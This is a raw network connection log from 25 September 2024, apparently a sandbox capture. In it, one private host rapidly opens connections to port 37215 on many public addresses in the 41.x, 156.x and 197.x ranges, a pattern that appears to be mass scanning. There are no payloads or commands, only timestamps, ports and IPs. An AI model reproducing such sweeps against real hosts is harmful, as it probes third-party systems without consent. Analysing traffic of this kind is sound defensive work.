Sep 25, 2024 14:14:12.324080944 CEST	37215	49006	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.324143887 CEST	49006	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.324757099 CEST	52932	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.325135946 CEST	37215	49438	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.325160980 CEST	49438	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.325742006 CEST	55828	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.326615095 CEST	54318	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.326859951 CEST	37215	45956	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.326920986 CEST	45956	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.327368975 CEST	45244	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.328161955 CEST	55680	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.328974009 CEST	47026	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.329744101 CEST	57766	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.330578089 CEST	55490	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.330781937 CEST	37215	50892	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.331012964 CEST	50892	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.331406116 CEST	35492	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.331808090 CEST	37215	38080	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.331849098 CEST	38080	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.331886053 CEST	59384	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.332474947 CEST	54076	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.333012104 CEST	60822	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.333554029 CEST	41084	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.333645105 CEST	37215	52932	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.333703995 CEST	52932	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.334117889 CEST	54492	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.334158897 CEST	37215	55828	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.334196091 CEST	55828	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.334852934 CEST	51782	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.335378885 CEST	37215	54318	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.335585117 CEST	54318	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.335593939 CEST	45874	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.335887909 CEST	37215	45244	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.335916996 CEST	45244	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.336379051 CEST	55024	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.336704016 CEST	43584	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.337107897 CEST	37215	55680	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.337148905 CEST	55680	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.337233067 CEST	42482	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.337752104 CEST	41702	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.337940931 CEST	37215	47026	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.337981939 CEST	47026	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.338270903 CEST	55696	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.338409901 CEST	37215	57766	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.338443995 CEST	57766	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.338790894 CEST	41636	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.339570045 CEST	54664	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.340378046 CEST	59926	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.340507030 CEST	37215	55490	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.340512991 CEST	37215	35492	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.340543985 CEST	55490	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.340570927 CEST	35492	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.340645075 CEST	37215	59384	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.340676069 CEST	59384	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.341228008 CEST	50356	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.341489077 CEST	37215	54076	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.341526031 CEST	54076	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.341922998 CEST	45936	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.342802048 CEST	50610	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.342927933 CEST	37215	60822	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.342958927 CEST	60822	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.343224049 CEST	37215	41084	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.343261957 CEST	41084	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.343583107 CEST	33312	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.344439030 CEST	43618	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.344472885 CEST	37215	54492	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.344496965 CEST	37215	51782	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.344552994 CEST	51782	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.344552994 CEST	54492	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.345113039 CEST	37215	45874	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.345171928 CEST	45874	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.345181942 CEST	51674	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.345514059 CEST	37215	55024	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.345613003 CEST	37215	43584	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.345635891 CEST	55024	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.345654011 CEST	43584	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.346194983 CEST	49866	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.346847057 CEST	37215	42482	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.346884012 CEST	42482	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.347059011 CEST	37215	41702	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.347136974 CEST	41702	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.347166061 CEST	53468	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.347352028 CEST	37215	55696	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.347409964 CEST	55696	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.347889900 CEST	37215	41636	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.347918034 CEST	41636	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.348135948 CEST	56426	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.348766088 CEST	60842	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.349025965 CEST	37215	54664	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.349057913 CEST	54664	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.349453926 CEST	41776	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.349633932 CEST	37215	59926	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.349684000 CEST	59926	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.350249052 CEST	37074	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.350512028 CEST	37215	50356	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.350572109 CEST	50356	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.350702047 CEST	37215	45936	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.350734949 CEST	45936	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.350773096 CEST	37776	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.351293087 CEST	53284	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.351845026 CEST	56458	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.352348089 CEST	52956	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.352852106 CEST	44234	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.353378057 CEST	54992	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.353423119 CEST	37215	50610	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.353426933 CEST	37215	33312	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.353454113 CEST	50610	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.353456974 CEST	33312	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.353899956 CEST	46186	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.354408026 CEST	54460	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.354427099 CEST	37215	43618	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.354432106 CEST	37215	51674	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.354517937 CEST	51674	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.354532003 CEST	43618	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.355104923 CEST	55334	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.355756044 CEST	37215	49866	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.355761051 CEST	37215	53468	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.355799913 CEST	53468	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.355833054 CEST	47130	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.355835915 CEST	49866	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.356232882 CEST	42730	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.356342077 CEST	37215	56426	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.356511116 CEST	56426	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.356677055 CEST	37215	60842	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.356715918 CEST	60842	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.356734991 CEST	40132	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.357253075 CEST	57044	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.357363939 CEST	37215	41776	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.357393026 CEST	41776	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.357717991 CEST	37215	37074	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.357773066 CEST	37074	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.357852936 CEST	44282	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.357952118 CEST	37215	37776	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.357991934 CEST	37776	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.358663082 CEST	42568	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.359415054 CEST	37215	53284	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.359421015 CEST	37215	56458	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.359425068 CEST	37215	52956	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.359431028 CEST	37215	44234	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.359450102 CEST	52956	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.359453917 CEST	53284	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.359462976 CEST	56458	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.359467030 CEST	44234	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.359483004 CEST	50086	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.360410929 CEST	39832	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.361552000 CEST	37215	54992	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.361679077 CEST	54992	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.361954927 CEST	43716	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.362056017 CEST	37215	46186	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.362102985 CEST	46186	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.362797022 CEST	37215	54460	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.362833023 CEST	54460	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.362894058 CEST	37215	55334	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.362977028 CEST	55334	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.363148928 CEST	42636	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.363290071 CEST	37215	47130	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.363365889 CEST	37215	42730	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.363408089 CEST	42730	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.363409996 CEST	47130	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.364226103 CEST	37215	40132	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.364250898 CEST	37215	57044	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.364286900 CEST	40132	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.364286900 CEST	57044	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.364625931 CEST	55698	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.364912033 CEST	37215	44282	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.364947081 CEST	44282	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.365969896 CEST	51040	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:12.366456985 CEST	37215	42568	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.366461992 CEST	37215	50086	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:12.366502047 CEST	50086	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.366545916 CEST	42568	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.367393017 CEST	37215	39832	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.367424011 CEST	39832	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.367474079 CEST	57780	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:12.368844032 CEST	37215	43716	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.368874073 CEST	48540	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:12.368931055 CEST	43716	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.369927883 CEST	37215	42636	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.369997978 CEST	42636	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.370392084 CEST	59126	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:12.371682882 CEST	50540	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.371793985 CEST	37215	55698	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.371890068 CEST	55698	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.372924089 CEST	37215	51040	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:12.372973919 CEST	51040	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:12.373169899 CEST	45856	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:12.374495029 CEST	41522	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:12.374599934 CEST	37215	57780	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:12.374639988 CEST	57780	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:12.375684977 CEST	44932	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:12.376102924 CEST	37215	48540	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:12.376156092 CEST	48540	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:12.376292944 CEST	38276	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:12.376871109 CEST	37215	59126	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:12.376909018 CEST	59126	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:12.377162933 CEST	44262	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:12.377966881 CEST	35076	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:12.378381968 CEST	37215	50540	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.378452063 CEST	50540	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.378747940 CEST	48068	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:12.379466057 CEST	60556	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.379946947 CEST	37215	45856	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:12.379980087 CEST	45856	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:12.380300045 CEST	49670	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:12.380901098 CEST	34432	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:12.380999088 CEST	37215	41522	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:12.381035089 CEST	41522	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:12.381746054 CEST	34430	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:12.382596970 CEST	37215	44932	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:12.382607937 CEST	33780	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:12.382757902 CEST	44932	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:12.383337021 CEST	52706	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:12.383837938 CEST	37215	38276	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:12.383876085 CEST	38276	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:12.384130955 CEST	52382	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:12.385010958 CEST	53922	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:12.385130882 CEST	37215	44262	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:12.385205984 CEST	44262	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:12.385380983 CEST	37215	35076	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:12.385385990 CEST	37215	48068	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:12.385447979 CEST	35076	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:12.385449886 CEST	48068	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:12.385485888 CEST	37215	60556	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.385519981 CEST	60556	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.385601997 CEST	37215	49670	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:12.385632992 CEST	49670	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:12.385795116 CEST	37210	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:12.386420965 CEST	37215	34432	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:12.386456966 CEST	34432	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:12.386611938 CEST	32906	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:12.386749983 CEST	37215	34430	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:12.386809111 CEST	34430	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:12.387365103 CEST	47920	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:12.387418985 CEST	37215	33780	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:12.387458086 CEST	33780	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:12.388097048 CEST	37215	52706	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:12.388139009 CEST	52706	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:12.388233900 CEST	41958	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:12.389015913 CEST	42836	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:12.389195919 CEST	37215	52382	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:12.389239073 CEST	52382	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:12.389600039 CEST	63353	37215	192.168.2.14	41.168.78.77
Sep 25, 2024 14:14:12.389610052 CEST	63353	37215	192.168.2.14	197.220.161.42
Sep 25, 2024 14:14:12.389612913 CEST	63353	37215	192.168.2.14	156.175.79.100
Sep 25, 2024 14:14:12.389615059 CEST	63353	37215	192.168.2.14	156.172.236.120
Sep 25, 2024 14:14:12.389631033 CEST	63353	37215	192.168.2.14	156.181.156.195
Sep 25, 2024 14:14:12.389636040 CEST	63353	37215	192.168.2.14	156.10.95.224
Sep 25, 2024 14:14:12.389636040 CEST	63353	37215	192.168.2.14	197.48.193.65
Sep 25, 2024 14:14:12.389651060 CEST	63353	37215	192.168.2.14	156.168.62.39
Sep 25, 2024 14:14:12.389651060 CEST	63353	37215	192.168.2.14	156.226.250.227
Sep 25, 2024 14:14:12.389656067 CEST	63353	37215	192.168.2.14	197.58.83.62
Sep 25, 2024 14:14:12.389668941 CEST	63353	37215	192.168.2.14	41.186.249.22
Sep 25, 2024 14:14:12.389677048 CEST	63353	37215	192.168.2.14	156.250.79.34
Sep 25, 2024 14:14:12.389679909 CEST	63353	37215	192.168.2.14	156.90.112.194
Sep 25, 2024 14:14:12.389679909 CEST	63353	37215	192.168.2.14	156.15.26.119
Sep 25, 2024 14:14:12.389698982 CEST	63353	37215	192.168.2.14	41.154.237.212
Sep 25, 2024 14:14:12.389698982 CEST	63353	37215	192.168.2.14	156.73.84.149
Sep 25, 2024 14:14:12.389699936 CEST	63353	37215	192.168.2.14	197.86.127.58
Sep 25, 2024 14:14:12.389713049 CEST	63353	37215	192.168.2.14	156.140.161.127
Sep 25, 2024 14:14:12.389714003 CEST	63353	37215	192.168.2.14	197.251.110.206
Sep 25, 2024 14:14:12.389718056 CEST	63353	37215	192.168.2.14	156.174.244.16
Sep 25, 2024 14:14:12.389733076 CEST	63353	37215	192.168.2.14	197.207.43.228
Sep 25, 2024 14:14:12.389734030 CEST	63353	37215	192.168.2.14	41.71.161.16
Sep 25, 2024 14:14:12.389761925 CEST	63353	37215	192.168.2.14	156.188.58.121
Sep 25, 2024 14:14:12.389775038 CEST	63353	37215	192.168.2.14	156.20.245.186
Sep 25, 2024 14:14:12.389779091 CEST	63353	37215	192.168.2.14	156.230.1.4
Sep 25, 2024 14:14:12.389787912 CEST	63353	37215	192.168.2.14	197.138.39.25
Sep 25, 2024 14:14:12.389791012 CEST	63353	37215	192.168.2.14	41.82.213.185
Sep 25, 2024 14:14:12.389791012 CEST	63353	37215	192.168.2.14	41.229.236.215
Sep 25, 2024 14:14:12.389794111 CEST	63353	37215	192.168.2.14	41.130.139.47
Sep 25, 2024 14:14:12.389807940 CEST	63353	37215	192.168.2.14	156.34.167.64
Sep 25, 2024 14:14:12.389807940 CEST	63353	37215	192.168.2.14	41.166.195.163
Sep 25, 2024 14:14:12.389816046 CEST	63353	37215	192.168.2.14	41.211.196.168
Sep 25, 2024 14:14:12.389830112 CEST	63353	37215	192.168.2.14	156.10.213.40
Sep 25, 2024 14:14:12.389830112 CEST	63353	37215	192.168.2.14	41.144.129.138
Sep 25, 2024 14:14:12.389847994 CEST	63353	37215	192.168.2.14	197.223.199.221
Sep 25, 2024 14:14:12.389861107 CEST	63353	37215	192.168.2.14	156.170.201.152
Sep 25, 2024 14:14:12.389861107 CEST	63353	37215	192.168.2.14	156.109.10.114
Sep 25, 2024 14:14:12.389863014 CEST	63353	37215	192.168.2.14	41.125.103.239
Sep 25, 2024 14:14:12.389874935 CEST	63353	37215	192.168.2.14	197.12.102.9
Sep 25, 2024 14:14:12.389874935 CEST	63353	37215	192.168.2.14	197.170.206.122
Sep 25, 2024 14:14:12.389879942 CEST	63353	37215	192.168.2.14	197.198.146.121
Sep 25, 2024 14:14:12.389879942 CEST	63353	37215	192.168.2.14	156.242.40.72
Sep 25, 2024 14:14:12.389894009 CEST	63353	37215	192.168.2.14	197.149.189.193
Sep 25, 2024 14:14:12.389894962 CEST	63353	37215	192.168.2.14	41.224.158.104
Sep 25, 2024 14:14:12.389904976 CEST	63353	37215	192.168.2.14	41.199.91.228
Sep 25, 2024 14:14:12.389919043 CEST	63353	37215	192.168.2.14	41.62.154.104
Sep 25, 2024 14:14:12.389919043 CEST	63353	37215	192.168.2.14	41.185.9.2
Sep 25, 2024 14:14:12.389946938 CEST	63353	37215	192.168.2.14	156.108.145.203
Sep 25, 2024 14:14:12.389949083 CEST	63353	37215	192.168.2.14	156.5.49.244
Sep 25, 2024 14:14:12.389949083 CEST	63353	37215	192.168.2.14	41.48.155.181
Sep 25, 2024 14:14:12.389951944 CEST	63353	37215	192.168.2.14	156.244.193.147
Sep 25, 2024 14:14:12.389954090 CEST	63353	37215	192.168.2.14	197.165.253.103
Sep 25, 2024 14:14:12.389954090 CEST	63353	37215	192.168.2.14	156.43.11.2
Sep 25, 2024 14:14:12.389954090 CEST	63353	37215	192.168.2.14	197.211.200.152
Sep 25, 2024 14:14:12.389969110 CEST	63353	37215	192.168.2.14	41.127.232.234
Sep 25, 2024 14:14:12.389972925 CEST	63353	37215	192.168.2.14	156.206.71.166
Sep 25, 2024 14:14:12.389982939 CEST	63353	37215	192.168.2.14	41.31.86.109
Sep 25, 2024 14:14:12.389983892 CEST	63353	37215	192.168.2.14	41.120.58.65
Sep 25, 2024 14:14:12.389996052 CEST	63353	37215	192.168.2.14	156.16.222.62
Sep 25, 2024 14:14:12.389996052 CEST	63353	37215	192.168.2.14	41.210.190.228
Sep 25, 2024 14:14:12.390006065 CEST	37215	53922	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:12.390014887 CEST	63353	37215	192.168.2.14	41.204.121.228
Sep 25, 2024 14:14:12.390019894 CEST	63353	37215	192.168.2.14	156.198.88.115
Sep 25, 2024 14:14:12.390019894 CEST	63353	37215	192.168.2.14	41.57.76.126
Sep 25, 2024 14:14:12.390033960 CEST	63353	37215	192.168.2.14	41.92.124.189
Sep 25, 2024 14:14:12.390043974 CEST	53922	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:12.390052080 CEST	63353	37215	192.168.2.14	156.110.158.120
Sep 25, 2024 14:14:12.390067101 CEST	63353	37215	192.168.2.14	41.252.223.191
Sep 25, 2024 14:14:12.390069962 CEST	63353	37215	192.168.2.14	41.208.35.94
Sep 25, 2024 14:14:12.390073061 CEST	63353	37215	192.168.2.14	41.224.214.201
Sep 25, 2024 14:14:12.390083075 CEST	63353	37215	192.168.2.14	197.16.109.47
Sep 25, 2024 14:14:12.390093088 CEST	63353	37215	192.168.2.14	197.145.220.139
Sep 25, 2024 14:14:12.390099049 CEST	63353	37215	192.168.2.14	41.77.223.225
Sep 25, 2024 14:14:12.390105009 CEST	63353	37215	192.168.2.14	156.61.109.165
Sep 25, 2024 14:14:12.390114069 CEST	63353	37215	192.168.2.14	41.121.199.17
Sep 25, 2024 14:14:12.390114069 CEST	63353	37215	192.168.2.14	197.244.65.221
Sep 25, 2024 14:14:12.390125990 CEST	63353	37215	192.168.2.14	156.218.63.167
Sep 25, 2024 14:14:12.390136003 CEST	63353	37215	192.168.2.14	41.251.219.29
Sep 25, 2024 14:14:12.390140057 CEST	63353	37215	192.168.2.14	156.90.51.82
Sep 25, 2024 14:14:12.390150070 CEST	63353	37215	192.168.2.14	197.10.184.199
Sep 25, 2024 14:14:12.390156031 CEST	63353	37215	192.168.2.14	41.244.88.138
Sep 25, 2024 14:14:12.390157938 CEST	63353	37215	192.168.2.14	156.240.164.84
Sep 25, 2024 14:14:12.390160084 CEST	63353	37215	192.168.2.14	197.181.23.53
Sep 25, 2024 14:14:12.390163898 CEST	63353	37215	192.168.2.14	156.75.70.26
Sep 25, 2024 14:14:12.390166998 CEST	63353	37215	192.168.2.14	156.14.66.134
